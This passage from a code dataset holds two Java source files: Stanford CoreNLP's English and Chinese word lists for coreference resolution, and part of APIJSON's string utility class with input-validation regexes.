file_id
int64
1
66.7k
content
stringlengths
14
343k
repo
stringlengths
6
92
path
stringlengths
5
169
1
package edu.stanford.nlp.coref.data; import java.util.Arrays; import java.util.Set; import edu.stanford.nlp.util.Generics; /** Word lists for Chinese and English used in the coref system. * * @author Heeyoung Lee * @author Rob Voigt * @author Christopher Manning */ public class WordLists { private WordLists() { } // just variable declarations // // WordLists for English // public static final Set<String> reportVerbEn = Generics.newHashSet(Arrays.asList( "accuse", "acknowledge", "add", "admit", "advise", "agree", "alert", "allege", "announce", "answer", "apologize", "argue", "ask", "assert", "assure", "beg", "blame", "boast", "caution", "charge", "cite", "claim", "clarify", "command", "comment", "compare", "complain", "concede", "conclude", "confirm", "confront", "congratulate", "contend", "contradict", "convey", "counter", "criticize", "debate", "decide", "declare", "defend", "demand", "demonstrate", "deny", "describe", "determine", "disagree", "disclose", "discount", "discover", "discuss", "dismiss", "dispute", "disregard", "doubt", "emphasize", "encourage", "endorse", "equate", "estimate", "expect", "explain", "express", "extol", "fear", "feel", "find", "forbid", "forecast", "foretell", "forget", "gather", "guarantee", "guess", "hear", "hint", "hope", "illustrate", "imagine", "imply", "indicate", "inform", "insert", "insist", "instruct", "interpret", "interview", "invite", "issue", "justify", "learn", "maintain", "mean", "mention", "negotiate", "note", "observe", "offer", "oppose", "order", "persuade", "pledge", "point", "point out", "praise", "pray", "predict", "prefer", "present", "promise", "prompt", "propose", "protest", "prove", "provoke", "question", "quote", "raise", "rally", "read", "reaffirm", "realise", "realize", "rebut", "recall", "reckon", "recommend", "refer", "reflect", "refuse", "refute", "reiterate", "reject", "relate", "remark", "remember", "remind", "repeat", "reply", "report", "request", "respond", "restate", "reveal", "rule", "say", "see", "show", "shout", "signal", "sing", "slam", "speculate", "spoke", "spread", "state", "stipulate", "stress", "suggest", "support", "suppose", "surmise", "suspect", "swear", "teach", "tell", "testify", "think", "threaten", "told", "uncover", "underline", "underscore", "urge", "voice", "vow", "warn", "welcome", "wish", "wonder", "worry", "write")); public static final Set<String> reportNounEn = Generics.newHashSet(Arrays.asList( "acclamation", "account", "accusation", "acknowledgment", "address", "addressing", "admission", "advertisement", "advice", "advisory", "affidavit", "affirmation", "alert", "allegation", "analysis", "anecdote", "annotation", "announcement", "answer", "antiphon", "apology", "applause", "appreciation", "argument", "arraignment", "article", "articulation", "aside", "assertion", "asseveration", "assurance", "attestation", "attitude", "averment", "avouchment", "avowal", "axiom", "backcap", "band-aid", "basic", "belief", "bestowal", "bill", "blame", "blow-by-blow", "bomb", "book", "bow", "break", "breakdown", "brief", "briefing", "broadcast", "broadcasting", "bulletin", "buzz", "cable", "calendar", "call", "canard", "canon", "card", "cause", "censure", "certification", "characterization", "charge", "chat", "chatter", "chitchat", "chronicle", "chronology", "citation", "claim", "clarification", "close", "cognizance", "comeback", "comment", "commentary", "communication", "communique", "composition", "concept", "concession", "conference", "confession", "confirmation", "conjecture", "connotation", "construal", "construction", "consultation", "contention", "contract", "convention", "conversation", "converse", "conviction", "counterclaim", "credenda", "creed", "critique", "cry", "declaration", "defense", "definition", "delineation", "delivery", "demonstration", "denial", "denotation", "depiction", "deposition", "description", "detail", "details", "detention", "dialogue", "diction", "dictum", "digest", "directive", "disclosure", "discourse", "discovery", "discussion", "dispatch", "display", "disquisition", "dissemination", "dissertation", "divulgence", "dogma", "editorial", "ejaculation", "emphasis", "enlightenment", "enunciation", "essay", "evidence", "examination", "example", "excerpt", "exclamation", "excuse", "execution", "exegesis", "explanation", "explication", "exposing", "exposition", "expounding", "expression", "eye-opener", "feedback", "fiction", "findings", "fingerprint", "flash", "formulation", "fundamental", "gift", "gloss", "goods", "gospel", "gossip", "gratitude", "greeting", "guarantee", "hail", "hailing", "handout", "hash", "headlines", "hearing", "hearsay", "ideas", "idiom", "illustration", "impeachment", "implantation", "implication", "imputation", "incrimination", "indication", "indoctrination", "inference", "info", "information", "innuendo", "insinuation", "insistence", "instruction", "intelligence", "interpretation", "interview", "intimation", "intonation", "issue", "item", "itemization", "justification", "key", "knowledge", "leak", "letter", "locution", "manifesto", "meaning", "meeting", "mention", "message", "missive", "mitigation", "monograph", "motive", "murmur", "narration", "narrative", "news", "nod", "note", "notice", "notification", "oath", "observation", "okay", "opinion", "oral", "outline", "paper", "parley", "particularization", "phrase", "phraseology", "phrasing", "picture", "piece", "pipeline", "pitch", "plea", "plot", "portraiture", "portrayal", "position", "potboiler", "prating", "precept", "prediction", "presentation", "presentment", "principle", "proclamation", "profession", "program", "promulgation", "pronouncement", "pronunciation", "propaganda", "prophecy", "proposal", "proposition", "prosecution", "protestation", "publication", "publicity", "publishing", "quotation", "ratification", "reaction", "reason", "rebuttal", "receipt", "recital", "recitation", "recognition", "record", "recount", "recountal", "refutation", "regulation", "rehearsal", "rejoinder", "relation", "release", "remark", "rendition", "repartee", "reply", "report", "reporting", "representation", "resolution", "response", "result", "retort", "return", "revelation", "review", "rule", "rumble", "rumor", "rundown", "saying", "scandal", "scoop", "scuttlebutt", "sense", "showing", "sign", "signature", "significance", "sketch", "skinny", "solution", "speaking", "specification", "speech", "statement", "story", "study", "style", "suggestion", "summarization", "summary", "summons", "tale", "talk", "talking", "tattle", "telecast", "telegram", "telling", "tenet", "term", "testimonial", "testimony", "text", "theme", "thesis", "tract", "tractate", "tradition", "translation", "treatise", "utterance", "vent", "ventilation", "verbalization", "version", "vignette", "vindication", "warning", "warrant", "whispering", "wire", "word", "work", "writ", "write-up", "writeup", "writing", "acceptance", "complaint", "concern", "disappointment", "disclose", "estimate", "laugh", "pleasure", "regret", "resentment", "view")); public static final Set<String> nonWordsEn = Generics.newHashSet(Arrays.asList("mm", "hmm", "ahem", "um")); public static final Set<String> copulasEn = Generics.newHashSet(Arrays.asList("is","are","were", "was","be", "been","become","became","becomes","seem","seemed","seems","remain","remains","remained")); public static final Set<String> quantifiersEn = Generics.newHashSet(Arrays.asList("not","every","any","none","everything","anything","nothing","all","enough")); public static final Set<String> partsEn = Generics.newHashSet(Arrays.asList("half","one","two","three","four","five","six","seven","eight","nine","ten","hundred","thousand","million","billion","tens","dozens","hundreds","thousands","millions","billions","group","groups","bunch","number","numbers","pinch","amount","amount","total","all","mile","miles","pounds")); public static final Set<String> temporalsEn = Generics.newHashSet(Arrays.asList( "second", "minute", "hour", "day", "week", "month", "year", "decade", "century", "millennium", "monday", "tuesday", "wednesday", "thursday", "friday", "saturday", "sunday", "now", "yesterday", "tomorrow", "age", "time", "era", "epoch", "morning", "evening", "day", "night", "noon", "afternoon", "semester", "trimester", "quarter", "term", "winter", "spring", "summer", "fall", "autumn", "season", "january", "february", "march", "april", "may", "june", "july", "august", "september", "october", "november", "december")); public static final Set<String> femalePronounsEn = Generics.newHashSet(Arrays.asList(new String[]{ "her", "hers", "herself", "she" })); public static final Set<String> malePronounsEn = Generics.newHashSet(Arrays.asList(new String[]{ "he", "him", "himself", "his" })); public static final Set<String> neutralPronounsEn = Generics.newHashSet(Arrays.asList(new String[]{ "it", "its", "itself", "where", "here", "there", "which" })); public static final Set<String> possessivePronounsEn = Generics.newHashSet(Arrays.asList(new String[]{ "my", "your", "his", "her", "its","our","their","whose" })); public static final Set<String> otherPronounsEn = Generics.newHashSet(Arrays.asList(new String[]{ "who", "whom", "whose", "where", "when","which" })); public static final Set<String> thirdPersonPronounsEn = Generics.newHashSet(Arrays.asList(new String[]{ "he", "him", "himself", "his", "she", "her", "herself", "hers", "her", "it", "itself", "its", "one", "oneself", "one's", "they", "them", "themself", "themselves", "theirs", "their", "they", "them", "'em", "themselves" })); public static final Set<String> secondPersonPronounsEn = Generics.newHashSet(Arrays.asList(new String[]{ "you", "yourself", "yours", "your", "yourselves" })); public static final Set<String> firstPersonPronounsEn = Generics.newHashSet(Arrays.asList(new String[]{ "i", "me", "myself", "mine", "my", "we", "us", "ourself", "ourselves", "ours", "our" })); public static final Set<String> moneyPercentNumberPronounsEn = Generics.newHashSet(Arrays.asList(new String[]{ "it", "its" })); public static final Set<String> dateTimePronounsEn = Generics.newHashSet(Arrays.asList(new String[]{ "when" })); public static final Set<String> organizationPronounsEn = Generics.newHashSet(Arrays.asList(new String[]{ "it", "its", "they", "their", "them", "which"})); public static final Set<String> locationPronounsEn = Generics.newHashSet(Arrays.asList(new String[]{ "it", "its", "where", "here", "there" })); public static final Set<String> inanimatePronounsEn = Generics.newHashSet(Arrays.asList(new String[]{ "it", "itself", "its", "where", "when" })); public static final Set<String> animatePronounsEn = Generics.newHashSet(Arrays.asList(new String[]{ "i", "me", "myself", "mine", "my", "we", "us", "ourself", "ourselves", "ours", "our", "you", "yourself", "yours", "your", "yourselves", "he", "him", "himself", "his", "she", "her", "herself", "hers", "her", "one", "oneself", "one's", "they", "them", "themself", "themselves", "theirs", "their", "they", "them", "'em", "themselves", "who", "whom", "whose" })); public static final Set<String> indefinitePronounsEn = Generics.newHashSet(Arrays.asList(new String[]{"another", "anybody", "anyone", "anything", "each", "either", "enough", "everybody", "everyone", "everything", "less", "little", "much", "neither", "no one", "nobody", "nothing", "one", "other", "plenty", "somebody", "someone", "something", "both", "few", "fewer", "many", "others", "several", "all", "any", "more", "most", "none", "some", "such"})); public static final Set<String> relativePronounsEn = Generics.newHashSet(Arrays.asList(new String[]{"that","who","which","whom","where","whose"})); public static final Set<String> GPEPronounsEn = Generics.newHashSet(Arrays.asList(new String[]{ "it", "itself", "its", "they","where" })); public static final Set<String> pluralPronounsEn = Generics.newHashSet(Arrays.asList(new String[]{ "we", "us", "ourself", "ourselves", "ours", "our", "yourself", "yourselves", "they", "them", "themself", "themselves", "theirs", "their" })); public static final Set<String> singularPronounsEn = Generics.newHashSet(Arrays.asList(new String[]{ "i", "me", "myself", "mine", "my", "yourself", "he", "him", "himself", "his", "she", "her", "herself", "hers", "her", "it", "itself", "its", "one", "oneself", "one's" })); public static final Set<String> facilityVehicleWeaponPronounsEn = Generics.newHashSet(Arrays.asList(new String[]{ "it", "itself", "its", "they", "where" })); public static final Set<String> miscPronounsEn = Generics.newHashSet(Arrays.asList(new String[]{"it", "itself", "its", "they", "where" })); public static final Set<String> reflexivePronounsEn = Generics.newHashSet(Arrays.asList(new String[]{"myself", "yourself", "yourselves", "himself", "herself", "itself", "ourselves", "themselves", "oneself"})); public static final Set<String> transparentNounsEn = Generics.newHashSet(Arrays.asList(new String[]{"bunch", "group", "breed", "class", "ilk", "kind", "half", "segment", "top", "bottom", "glass", "bottle", "box", "cup", "gem", "idiot", "unit", "part", "stage", "name", "division", "label", "group", "figure", "series", "member", "members", "first", "version", "site", "side", "role", "largest", "title", "fourth", "third", "second", "number", "place", "trio", "two", "one", "longest", "highest", "shortest", "head", "resident", "collection", "result", "last" })); public static final Set<String> stopWordsEn = Generics.newHashSet(Arrays.asList(new String[]{"a", "an", "the", "of", "at", "on", "upon", "in", "to", "from", "out", "as", "so", "such", "or", "and", "those", "this", "these", "that", "for", ",", "is", "was", "am", "are", "'s", "been", "were"})); public static final Set<String> notOrganizationPRPEn = Generics.newHashSet(Arrays.asList(new String[]{"i", "me", "myself", "mine", "my", "yourself", "he", "him", "himself", "his", "she", "her", "herself", "hers", "here"})); public static final Set<String> quantifiers2En = Generics.newHashSet(Arrays.asList("all", "both", "neither", "either")); public static final Set<String> determinersEn = Generics.newHashSet(Arrays.asList("the", "this", "that", "these", "those", "his", "her", "my", "your", "their", "our")); public static final Set<String> negationsEn = Generics.newHashSet(Arrays.asList("n't","not", "nor", "neither", "never", "no", "non", "any", "none", "nobody", "nothing", "nowhere", "nearly","almost", "if", "false", "fallacy", "unsuccessfully", "unlikely", "impossible", "improbable", "uncertain", "unsure", "impossibility", "improbability", "cancellation", "breakup", "lack", "long-stalled", "end", "rejection", "failure", "avoid", "bar", "block", "break", "cancel", "cease", "cut", "decline", "deny", "deprive", "destroy", "excuse", "fail", "forbid", "forestall", "forget", "halt", "lose", "nullify", "prevent", "refrain", "reject", "rebut", "remain", "refuse", "stop", "suspend", "ward")); public static final Set<String> neg_relationsEn = Generics.newHashSet(Arrays.asList("prep_without", "prepc_without", "prep_except", "prepc_except", "prep_excluding", "prepx_excluding", "prep_if", "prepc_if", "prep_whether", "prepc_whether", "prep_away_from", "prepc_away_from", "prep_instead_of", "prepc_instead_of")); public static final Set<String> modalsEn = Generics.newHashSet(Arrays.asList("can", "could", "may", "might", "must", "should", "would", "seem", "able", "apparently", "necessarily", "presumably", "probably", "possibly", "reportedly", "supposedly", "inconceivable", "chance", "impossibility", "improbability", "encouragement", "improbable", "impossible", "likely", "necessary", "probable", "possible", "uncertain", "unlikely", "unsure", "likelihood", "probability", "possibility", "eventual", "hypothetical" , "presumed", "supposed", "reported", "apparent")); // // WordLists for Chinese // public static final Set<String> reportVerbZh = Generics.newHashSet(Arrays.asList( "说", "讲", "问", "曰", "劝", "唱", "告诉", "报告", "回答", "承认", "描述", "忠告", "解释", "表示", "保证", "感觉", "预测", "预计", "忘记", "希望", "想象", "暗示", "指示", "证明", "提示", "说服", "提倡", "拒绝", "否认", "欢迎", "怀疑", "总结", "演讲", "争论")); public static final Set<String> reportNounZh = Generics.newHashSet(Arrays.asList( "报告", "回答", "描述", "忠告", "解释", "表示", "保证", "感觉", "预测", "预计", "希望", "想象", "暗示", "指示", "证明", "提示", "提倡", "欢迎", "怀疑", "总结", "演讲", "争论", "意识", "论文", "看法")); public static final Set<String> nonWordsZh = Generics.newHashSet(Arrays.asList("啊", "嗯", "哦")); public static final Set<String> copulasZh = Generics.newHashSet(Arrays.asList(new String[]{})); public static final Set<String> quantifiersZh = Generics.newHashSet(Arrays.asList("所有", "没有", "一些", "有些", "都")); public static final Set<String> partsZh = Generics.newHashSet(Arrays.asList("半", "一", "二", "三", "四", "五", "六", "七", "八", "九", "十", "都")); public static final Set<String> temporalsZh = Generics.newHashSet(Arrays.asList( "秒", "分钟", "刻", "小时", "钟头", "天", "星期", "礼拜", "月", "年", "年代", "世纪", "星期一", "星期二", "星期三", "星期四", "星期五", "星期六", "星期日", "星期天", "现在", "昨天", "明天", "时代", "时间", "时候", "早上", "中午", "下午", "晚上", "天", "夜", "学期", "冬天", "春天", "夏天", "秋天", "季节", "一月份", "二月份", "三月份", "四月份", "五月份", "六月份", "七月份", "八月份", "九月份", "十月份", "十一月份", "十二月份")); public static final Set<String> femalePronounsZh = Generics.newHashSet(Arrays.asList(new String[]{ "她", "她们" })); public static final Set<String> malePronounsZh = Generics.newHashSet(Arrays.asList(new String[]{ "他", "他们" })); public static final Set<String> neutralPronounsZh = Generics.newHashSet(Arrays.asList(new String[]{ "它", "它们", "谁", "什么", "那", "那儿", "那个", "那里", "哪", "哪个", "哪儿", "哪里", "这","这儿", "这个", "这里" })); public static final Set<String> possessivePronounsZh = Generics.newHashSet(Arrays.asList(new String[]{})); public static final Set<String> otherPronounsZh = Generics.newHashSet(Arrays.asList(new String[]{ "谁", "哪里", "哪个", "哪些", "哪儿" })); public static final Set<String> thirdPersonPronounsZh = Generics.newHashSet(Arrays.asList(new String[]{ "她", "她们", "他", "他们" })); public static final Set<String> secondPersonPronounsZh = Generics.newHashSet(Arrays.asList(new String[]{ "你", "你们", "您" })); public static final Set<String> firstPersonPronounsZh = Generics.newHashSet(Arrays.asList(new String[]{ "我", "我们", "咱们", "咱"})); public static final Set<String> moneyPercentNumberPronounsZh = Generics.newHashSet(Arrays.asList(new String[]{ "它" })); public static final Set<String> dateTimePronounsZh = Generics.newHashSet(Arrays.asList(new String[]{})); public static final Set<String> organizationPronounsZh = Generics.newHashSet(Arrays.asList(new String[]{ "它", "他们", "谁", "什么", "那", "那个", "那里", "哪", "哪个", "哪里", "这", "这个", "这里" })); public static final Set<String> locationPronounsZh = Generics.newHashSet(Arrays.asList(new String[]{ "它", "哪里", "哪个", "这里", "这儿", "那里", "那儿" })); public static final Set<String> inanimatePronounsZh = Generics.newHashSet(Arrays.asList(new String[]{ "它", "它们", "那", "那儿", "那个", "那里", "哪", "哪个", "哪儿", "哪里", "这","这儿", "这个", "这里" })); public static final Set<String> animatePronounsZh = Generics.newHashSet(Arrays.asList(new String[]{ "我", "我们", "你", "你们", "她", "她们", "他", "他们", "谁" })); public static final Set<String> indefinitePronounsZh = Generics.newHashSet(Arrays.asList(new String[]{ "谁", "另外", "任何", "每", "所有", "许多", "一些" })); public static final Set<String> relativePronounsZh = Generics.newHashSet(); // Chinese doesn't have relative pronouns public static final Set<String> interrogativePronounsZh = Generics.newHashSet(Arrays.asList(new String[]{"什", "什么时候", "哪边", "怎", "甚么", "谁们", "啥", "干什么", "为何", "哪里", "哪个", "么", "哪", "哪些", "什么样", "多少", "怎样", "怎么样", "为什么", "谁", "怎么", "几", "什么"})); // Need to filter these public static final Set<String> GPEPronounsZh = Generics.newHashSet(Arrays.asList(new String[]{ "它", "它们", "他们", "那", "那儿", "那个", "那里", "哪", "哪个", "哪儿", "哪里", "这","这儿", "这个", "这里" })); public static final Set<String> pluralPronounsZh = Generics.newHashSet(Arrays.asList(new String[]{ "我们", "你们", "她们", "他们", "它们", "咱们" })); public static final Set<String> singularPronounsZh = Generics.newHashSet(Arrays.asList(new String[]{ "我", "你", "您", "她", "他" })); public static final Set<String> facilityVehicleWeaponPronounsZh = Generics.newHashSet(Arrays.asList(new String[]{ "它", "他们", "哪里", "哪儿" })); public static final Set<String> miscPronounsZh = Generics.newHashSet(Arrays.asList(new String[]{ "它", "他们", "哪里", "哪儿" })); public static final Set<String> reflexivePronounsZh = Generics.newHashSet(Arrays.asList(new String[]{ "自己" })); public static final Set<String> transparentNounsZh = Generics.newHashSet(Arrays.asList(new String[]{})); public static final Set<String> stopWordsZh = Generics.newHashSet(Arrays.asList(new String[]{ "是", "和", "在" })); public static final Set<String> notOrganizationPRPZh = Generics.newHashSet(Arrays.asList(new String[]{ "我", "我们", "你", "你们", "她", "她们", "他", "他们" })); public static final Set<String> quantifiers2Zh = Generics.newHashSet(Arrays.asList( "每", "所有" )); public static final Set<String> determinersZh = Generics.newHashSet(Arrays.asList( "这", "这个", "这些", "那", "那个", "那些" )); public static final Set<String> negationsZh = Generics.newHashSet(Arrays.asList( "不", "没", "否", "如果", "可能", "输", "失败", "否认" )); public static final Set<String> neg_relationsZh = Generics.newHashSet(); public static final Set<String> modalsZh = Generics.newHashSet(Arrays.asList( "能", "可能", "可以", "应该", "必须" )); public static final Set<String> titleWordsZh = Generics.newHashSet(Arrays.asList( "总统", "总理", "顾问", "部长", "市长", "省长", "先生", "外长", "教授", "副总理", "副总统", "大使", "同志", "王妃", "国王", "主席", "王后", "王子", "首相", "经理", "秘书", "女士", "总经理")); public static final Set<String> removeWordsZh = Generics.newHashSet(Arrays.asList( "_", // [cdm] Don't know the source of this one; doesn't seem to be in devset (with gold mentions) "quot", //"quot" is a formatting error in CoNLL data // "人", // a little dangerous 14 real cases though many not. "时候", // okay but rare // "问题", // dangerous - real case 1/3 of the time // "情况", // dangerous - real case 1/3 of the time "未来", // ok // "战争", // a little dangerous "可能", // ok "新华社", // Xinhua news agency -- kind of a cheat, but.... "第一", "第二", "第三", "第四", "第五", "第六", "第七", "第八", "第九", // ordinals - should have regex or NER; there are also some with arabic numerals "美军", "中央台", "时间" // cdm added these ones )); public static final Set<String> removeCharsZh = Generics.newHashSet(Arrays.asList( // "什么的", // in one spurious mention, but caught by general de rule! // "哪", // slightly dangerous "什么", // "what" -- good one, this interrogative isn't in mentions "谁", // "Who" -- good interrogative to have "啥", // "What" "哪儿", // "where" -- rare but okay // "哪里", // "where" but some are mentions // "人们", // "people" -- dangerous // "年", // year -- dangerous "原因", // "reason" -- okay // "啥时", // doesn't seem to appear in devset; ends in de // "quot", "多少" // "How many" [cdm added used to be t ested separately] )); /** KBP pronominal mentions are at present only 3rd person, non-neuter, non-reflexive pronouns. * At present we just mix English and Chinese ones, since it does no harm. */ private static final Set<String> kbpPronominalMentions = Generics.newHashSet(Arrays.asList( "he", "him", "his", "she", "her", "hers", "他", "她", "他们", "她们", "她的", "他的" )); /** * Returns whether the given token counts as a valid pronominal mention for KBP. * This method (at present) works for either Chinese or English. * * @param word The token to classify. * @return true if this token is a pronoun that KBP should recognize (3rd person, non-neuter, non reflexive). */ public static boolean isKbpPronominalMention(String word) { return kbpPronominalMentions.contains(word.toLowerCase()); } }
stanfordnlp/CoreNLP
src/edu/stanford/nlp/coref/data/WordLists.java
2
/*Copyright (C) 2020 THL A29 Limited, a Tencent company. All rights reserved. This source code is licensed under the Apache License Version 2.0.*/ package apijson; import java.io.File; import java.math.BigDecimal; import java.text.DecimalFormat; import java.util.Objects; import java.util.regex.Pattern; /**通用字符串(String)相关类,为null时返回"" * @author Lemon * @use StringUtil. */ public class StringUtil { private static final String TAG = "StringUtil"; public StringUtil() { } public static final String UTF_8 = "utf-8"; public static final String EMPTY = "无"; public static final String UNKNOWN = "未知"; public static final String UNLIMITED = "不限"; public static final String I = "我"; public static final String YOU = "你"; public static final String HE = "他"; public static final String SHE = "她"; public static final String IT = "它"; public static final String MALE = "男"; public static final String FEMALE = "女"; public static final String TODO = "未完成"; public static final String DONE = "已完成"; public static final String FAIL = "失败"; public static final String SUCCESS = "成功"; public static final String SUNDAY = "日"; public static final String MONDAY = "一"; public static final String TUESDAY = "二"; public static final String WEDNESDAY = "三"; public static final String THURSDAY = "四"; public static final String FRIDAY = "五"; public static final String SATURDAY = "六"; public static final String YUAN = "元"; private static String currentString = ""; /**获取刚传入处理后的string * @must 上个影响currentString的方法 和 这个方法都应该在同一线程中,否则返回值可能不对 * @return */ public static String getCurrentString() { return currentString == null ? "" : currentString; } //获取string,为null时返回"" <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< /**获取string,为null则返回"" * @param object * @return */ public static String getString(Object object) { return object == null ? "" : object.toString(); } /**获取string,为null则返回"" * @param cs * @return */ public static String getString(CharSequence cs) { return cs == null ? "" : cs.toString(); } /**获取string,为null则返回"" * @param s * @return */ public static String getString(String s) { return s == null ? "" : s; } /**获取string,为null则返回"" * ignoreEmptyItem = false; * split = "," * @param array * @return {@link #getString(Object[], boolean)} */ public static String getString(Object[] array) { return getString(array, false); } /**获取string,为null则返回"" * split = "," * @param array * @param ignoreEmptyItem * @return {@link #getString(Object[], boolean)} */ public static String getString(Object[] array, boolean ignoreEmptyItem) { return getString(array, null, ignoreEmptyItem); } /**获取string,为null则返回"" * ignoreEmptyItem = false; * @param array * @param split * @return {@link #getString(Object[], String, boolean)} */ public static String getString(Object[] array, String split) { return getString(array, split, false); } //CS304 Issue link: https://github.com/Tencent/APIJSON/issues/182 /**获取string,为null则返回"" * @param array -the str array given * @param split -the token used to split * @param ignoreEmptyItem -whether to ignore empty item or not * @return {@link #getString(Object[], String, boolean)} * <p>Here we replace the simple "+" way of concatenating with Stringbuilder 's append</p> */ public static String getString(Object[] array, String split, boolean ignoreEmptyItem) { StringBuilder s = new StringBuilder(""); if (array != null) { if (split == null) { split = ","; } for (int i = 0; i < array.length; i++) { if (ignoreEmptyItem && isEmpty(array[i], true)) { continue; } s.append(((i > 0 ? split : "") + array[i])); } } return getString(s.toString()); } //获取string,为null时返回"" >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> //获取去掉前后空格后的string<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< /**获取去掉前后空格后的string,为null则返回"" * @param object * @return */ public static String getTrimedString(Object object) { return getTrimedString(getString(object)); } /**获取去掉前后空格后的string,为null则返回"" * @param cs * @return */ public static String getTrimedString(CharSequence cs) { return getTrimedString(getString(cs)); } /**获取去掉前后空格后的string,为null则返回"" * @param s * @return */ public static String getTrimedString(String s) { return getString(s).trim(); } //获取去掉前后空格后的string>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> //获取去掉所有空格后的string <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< /**获取去掉所有空格后的string,为null则返回"" * @param object * @return */ public static String getNoBlankString(Object object) { return getNoBlankString(getString(object)); } /**获取去掉所有空格后的string,为null则返回"" * @param cs * @return */ public static String getNoBlankString(CharSequence cs) { return getNoBlankString(getString(cs)); } /**获取去掉所有空格后的string,为null则返回"" * @param s * @return */ public static String getNoBlankString(String s) { return getString(s).replaceAll("\\s", ""); } //获取去掉所有空格后的string >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> //获取string的长度<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< /**获取string的长度,为null则返回0 * @param object * @param trim * @return */ public static int getLength(Object object, boolean trim) { return getLength(getString(object), trim); } /**获取string的长度,为null则返回0 * @param cs * @param trim * @return */ public static int getLength(CharSequence cs, boolean trim) { return getLength(getString(cs), trim); } /**获取string的长度,为null则返回0 * @param s * @param trim * @return */ public static int getLength(String s, boolean trim) { s = trim ? getTrimedString(s) : s; return getString(s).length(); } //获取string的长度>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> //判断字符是否为空 <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< /**判断字符是否为空 trim = true * @param obj * @return */ public static boolean isEmpty(Object obj) { return isEmpty(obj, true); } /**判断字符是否为空 * @param obj * @param trim * @return */ public static boolean isEmpty(Object obj, boolean trim) { return isEmpty(getString(obj), trim); } /**判断字符是否为空 trim = true * @param cs * @return */ public static boolean isEmpty(CharSequence cs) { return isEmpty(cs, true); } /**判断字符是否为空 * @param cs * @param trim * @return */ public static boolean isEmpty(CharSequence cs, boolean trim) { return isEmpty(getString(cs), trim); } /**判断字符是否为空 trim = true * @param s * @return */ public static boolean isEmpty(String s) { return isEmpty(s, true); } /**判断字符是否为空 * @param s * @param trim * @return */ public static boolean isEmpty(String s, boolean trim) { // Log.i(TAG, "getTrimedString s = " + s); if (s == null) { return true; } if (trim) { s = s.trim(); } if (s.isEmpty()) { return true; } currentString = s; return false; } //判断字符是否为空 >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> //判断字符是否非空 <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< /**判断字符是否非空 trim = true * @param object * @return */ public static boolean isNotEmpty(Object obj) { return ! isEmpty(obj); } /**判断字符是否非空 * @param obj * @param trim * @return */ public static boolean isNotEmpty(Object obj, boolean trim) { return ! isEmpty(obj, trim); } /**判断字符是否非空 trim = true * @param cs * @return */ public static boolean isNotEmpty(CharSequence cs) { return ! isEmpty(cs); } /**判断字符是否非空 * @param cs * @param trim * @return */ public static boolean isNotEmpty(CharSequence cs, boolean trim) { return ! isEmpty(cs, trim); } /**判断字符是否非空 trim = true * @param s * @return */ public static boolean isNotEmpty(String s) { return ! isEmpty(s); } /**判断字符是否非空 * @param s * @param trim * @return */ public static boolean isNotEmpty(String s, boolean trim) { return ! isEmpty(s, trim); } //判断字符是否非空 >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> //判断字符类型 <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< public static final Pattern PATTERN_NUMBER; public static final Pattern PATTERN_PHONE; public static final Pattern PATTERN_EMAIL; public static final Pattern PATTERN_ID_CARD; public static final Pattern PATTERN_ALPHA; public static final Pattern PATTERN_PASSWORD; //TODO public static final Pattern PATTERN_NAME; public static final Pattern PATTERN_ALPHA_BIG; public static final Pattern PATTERN_ALPHA_SMALL; public static final Pattern PATTERN_BRANCH_URL; static { PATTERN_NUMBER = Pattern.compile("^[0-9]+$"); PATTERN_ALPHA = Pattern.compile("^[a-zA-Z]+$"); PATTERN_ALPHA_BIG = Pattern.compile("^[A-Z]+$"); PATTERN_ALPHA_SMALL = Pattern.compile("^[a-z]+$"); PATTERN_NAME = Pattern.compile("^[0-9a-zA-Z_.:]+$");//已用55个中英字符测试通过 //newest phone regex expression reference https://github.com/VincentSit/ChinaMobilePhoneNumberRegex PATTERN_PHONE = Pattern.compile("^1(?:3\\d{3}|5[^4\\D]\\d{2}|8\\d{3}|7(?:[0-35-9]\\d{2}|4(?:0\\d|1[0-2]|9\\d))|9[0-35-9]\\d{2}|6[2567]\\d{2}|4(?:(?:10|4[01])\\d{3}|[68]\\d{4}|[579]\\d{2}))\\d{6}$"); PATTERN_EMAIL = Pattern.compile("^([a-zA-Z0-9_\\-\\.]+)@((\\[[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.)|(([a-zA-Z0-9\\-]+\\.)+))([a-zA-Z]{2,4}|[0-9]{1,3})(\\]?)$"); PATTERN_ID_CARD = Pattern.compile("(^[1-9]\\d{5}(18|19|([23]\\d))\\d{2}((0[1-9])|(10|11|12))(([0-2][1-9])|10|20|30|31)\\d{3}[0-9Xx]$)|(^[1-9]\\d{5}\\d{2}((0[1-9])|(10|11|12))(([0-2][1-9])|10|20|30|31)\\d{2}$)"); PATTERN_PASSWORD = Pattern.compile("^[0-9a-zA-Z]+$"); PATTERN_BRANCH_URL = Pattern.compile("^[0-9a-zA-Z-_/]+$"); } /**判断手机格式是否正确 * @param phone * @return */ public static boolean isPhone(String phone) { if (isNotEmpty(phone, true) == false) { return false; } currentString = phone; return PATTERN_PHONE.matcher(phone).matches(); } /**判断手机格式是否正确 * @param s * @return */ public static boolean isPassword(String s) { return getLength(s, false) >= 6 && PATTERN_PASSWORD.matcher(s).matches(); } /**判断是否全是数字密码 * @param s * @return */ public static boolean isNumberPassword(String s) { return getLength(s, false) == 6 && isNumer(s); } /**判断email格式是否正确 * @param email * @return */ public static boolean 